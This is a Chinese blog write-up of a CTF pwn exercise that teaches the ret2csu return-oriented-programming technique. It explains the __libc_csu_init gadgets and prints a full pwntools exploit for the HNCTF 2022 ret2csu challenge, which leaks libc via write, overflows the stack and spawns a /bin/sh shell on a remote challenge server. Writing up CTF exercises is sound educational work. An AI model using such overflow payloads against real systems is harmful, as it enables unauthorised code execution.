ctfpwn-ret2csu

中级ROP——ret2csu

首先说明下64位下参数的传输方式:rdi rsi rdx rcx r8 r9,之后才是栈传参

而在动态libc链接中会有一个函数:__libc_csu_int这个函数的对应的汇编是

.text:000000000040059A pop rbx

.text:000000000040059B pop rbp

.text:000000000040059C pop r12

.text:000000000040059E pop r13

.text:00000000004005A0 pop r14

.text:00000000004005A2 pop r15

.text:00000000004005A4 retn

.text:00000000004005A4 ; } // starts at 400540

.text:00000000004005A4 __libc_csu_init endp

这里是我们要用的主要部分主要的作用就是得到64位的一些寄存器的gadget平时我们很难集齐这些寄存;

那么此时,有如下的操作,将r13赋值给rdx;r14赋值给rsi;将r15赋值给我edi

(edi为rdi的低32位,rdi的高32位寄存器为0)

看对应的汇编

.text:0000000000400870 mov rdx, r13
.text:0000000000400873 mov rsi, r14
.text:0000000000400876 mov edi, r15d
.text:0000000000400879 call ds: (__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040087D add rbx, 1
.text:0000000000400881 cmp rbx, rbp
.text:0000000000400884 jnz short loc_400870

此时我们就达到了用这些寄存器控制了传递参数主要的寄存器那么我就可以任意去达到一些攻击的目的

通过设置r12和rbx可以实现任意函数的调用

可以看到在,用r13,r14,r15对rdx,rsi,edi进行赋值之后;有一条
.text:0000000000400879 call ds: (__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
当我们后面需要控制跳转条件的时候,需要将rbx控制为0;那么这条指令实际就变成了
.text:0000000000400879 call ds: (__frame_dummy_init_array_entry - 600E10h)[r12]

因此r12里需要保存被调用函数的got表地址;才会被调用执行:::

假设我们需要利用csu来调用write(1,write_got,8)来达到泄露libc的目的,我们需要一下几步

第一步:为了使call调用write需要

r12+rbx*8=write_got_addr

第二步:设置参数

edi=r13d=1;

rsi=r14=write_got_addr

rdx=r15=8

这里介绍两个指令:

cmp和jnz:

cmp是将后面两个值比较;相等则将ZF的值赋为1;不相等则为0;

jnz是跳转指令;其语义为“当零标志位(ZF)为0时跳转;short是短跳板;范围不大;后面跟着标签;表示条件成立跳转到标签处

.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600

第三步。为了不使jnz跳转,继续向下执行;我们需要使rbx+1;等于rbp

rbx=0
rbp=1

这两步使cmp指令成立,赋ZF为1;不执行jnz跳转指令

r12=write_got_addr

保存write函数的got表地址;等待赋值后调用

r13=1 #1参
r14=write_got_addr #2参
r15=8 #3参

满足write函数调用的三个参数

当然还需要csu_end和csu_front
csu_end:这里是0x40060A+8 call之后需要add rsp 因此实际上是0x40060A+8
对应__libc_csu_init中的pop链gadget(pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret),用于从栈中加载寄存器值。
csu_front:这里是0x400600
对应__libc_csu_init中的参数传递gadget(mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12]),触发目标函数调用

需要注意的是:call r12之后;add rsp, 8和6次pop 寄存器用掉了78=56个字节因此需要在paykoad后面加上b'a’56来填充,维持平衡
通用gadget及其简化

基于这样的理论,可以得到一个通用gadget

 def csu(rbx, rbp, r12, r13, r14, r15, last):
     # pop rbx,rbp,r12,r13,r14,r15
     # rbx should be 0,
     # rbp should be 1,enable not to jump
     # r12 should be the function we want to call
     # rdi=edi=r15d
     # rsi=r14
     # rdx=r13
     payload = 'a' * offset + fakeebp
     payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
     payload += p64(csu_front_addr)
     payload += 'a' * 0x38
     payload += p64(last)
     sh.send(payload)
     sleep(1)

这样的通用gadget需要128个字节的溢出空间大小,有的时候不会提供这么大的溢出空间;那么就需要简化

1:提前控制rbx和rbp的值差1,这样就会使大小减小16个字节,使大小变成112

2:将gadget分开执行,我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件

漏洞可以被多次触发

在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

那么现在上题目

这个是一个恶心到我的题,我当时调了好久

NSSCTF上的ret2csu的题目;[HNCTF 2022 WEEK2]ret2csu
首先附上exp


 from pwn import*
 io=remote('node5.anna.nssctf.cn',24940)
 #io=process('./1')
 #gdb.attach(io)
 elf=ELF("./1")
 libc=ELF("./libc.so.6")
 ​
 write_got=elf.got['write']
 write_plt=elf.plt['write']
 csu_start=0x0000000000401290
 csu_end=0x000000004012AA
 main=0x0000000004011DC
 ​
 def csu(rbx,rbp,r15,r13,r14,r12,ret_addr):
     pay=b'a'*(0x100+8)+p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
     pay+=p64(csu_start)
     pay+=b'a'*56+p64(ret_addr)
     io.sendline(pay)
     sleep(1)
 io.recvuntil('Input:\n')
 csu(0,1,write_got,write_got,8,1,main)
 io.recvuntil("Ok.\n")
 #print(io.recv())
 ​
 write_addr=u64(io.recv(8))
 print(f"write_addr==>{hex(write_addr)}")
 #base=write_addr-libc.sym['write']
 base=write_addr-libc.sym['write']
 system=base+libc.sym['system']
 bin_sh_addr=base+next(libc.search(b"/bin/sh"))
 rdi = 0x00000000004012b3
 ret = 0x000000000040101a 
 #csu(0,1,system,system,0,bin_sh_addr,0)
 pay=b'a'*0x108+p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system)
 io.sendlineafter('Input:\n',pay)
 #pause()
 io.interactive()

这里需要注意的点

1.这题目给了libc文件,所以我们需要将附件——ELF文件也替换为对应的libc版本;

怎么查看呢?很简单,就是直接将附件拖到ida里,然后ALT+T,搜索Ubuntu,就可以了;值得一提的是,只需要大版本相同,小版本有些许差异也无妨;

2.注意攻击时的堆栈平衡:

3.csu_end的地址需要在正常的csu_end+8
分析题目,开始做题;

首先查看函数

csu_1

csu_2

因为我们没办法直接使函数调用时的寄存器内的值直接是我们想要的,且发现CSU函数的存在,那么,我们就可以使用ret2csu ;

首先看csu函数

csu_3

这里可以发现, loc_401290:作用是将r12的值给edi(rdi的低32位),r13给rsi;r14给rdx;而这是栈上传参的前三个;随后调用[r15+rbx],并且将rbx与rbp的关系设置为:rbx+1=rbp随后对这个关系验证,真则进入loc_4012A6: 假则进入loc_401290:,因此,我们需要将rbx与rbp的值的差设置为1;最简单的rbx=0,rbp=1

进入可以看到,一次将栈顶的数据赋给rbx ,rbp ,r12 ,r13 ,r14 ,r15,所以给这几个寄存器赋值就可以控制寄存器去执行我们想让程序去执行的函数

;好了,原理讲完了,实操如下

首先没有后门函数,所以我们优先考虑泄露libc;题目提供了libc版本,所以,直接接上;那么,泄露write,因为它已经被调用;

首先写一个函数来调用csu

 def csu(rbx,rbp,r15,r13,r14,r12,ret_addr):
     pay=b'a'*(0x100+8)+p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
     pay+=p64(csu_start)
     pay+=b'a'*56+p64(ret_addr)
     io.sendline(pay)
     sleep(1)
 io.recvuntil('Input:\n')
 csu(0,1,write_got,write_got,8,1,main)
 io.recvuntil("Ok.\n")

将write的got表的地址赋值给r15;然后依次填入参数;最后返回main函数以便第二次攻击;

然后就是一般的ROP链攻击了,没什么说的
最后

我有个问题; 我第二次攻击本来是打算还用csu函数的,但是不知道为什么我一直打不通;然后我就怀疑是我参数填错了,,但是不知道哪里错了,有没有师傅告诉我一下,非常感谢!!!!!

经过一个师傅的提示,我已经知道为什么了了:原因就在于,mov edi r12;这里只将低32位赋值给edi,那么/bin/sh\x00会被截断,可以换成sh;\x00

下面的是我当时填的参数
csu(0,1,system,system,0,bin_sh_addr,0)

然后第二个问题;我的ELF文件更换libc版本之后,打不了本地了,会报错,说我没有这个文件 有没有师傅看看,非常感谢

[-] Starting local process './1': Failed
Traceback (most recent call last):
  File "/home/ckx/NSSCTF/[HNCTF 2022 WEEK2]ret2csu/1.py", line 3, in <module>
    io=process('./1')
  File "/home/ckx/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 359, in __init__
    self.proc = subprocess.Popen(args = args,
  File "/usr/lib/python3.10/subprocess.py", line 971, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.10/subprocess.py", line 1863, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: './1'
posted @ 2025-08-19 16:57  SourceSource  阅读(41)  评论(1)    收藏  举报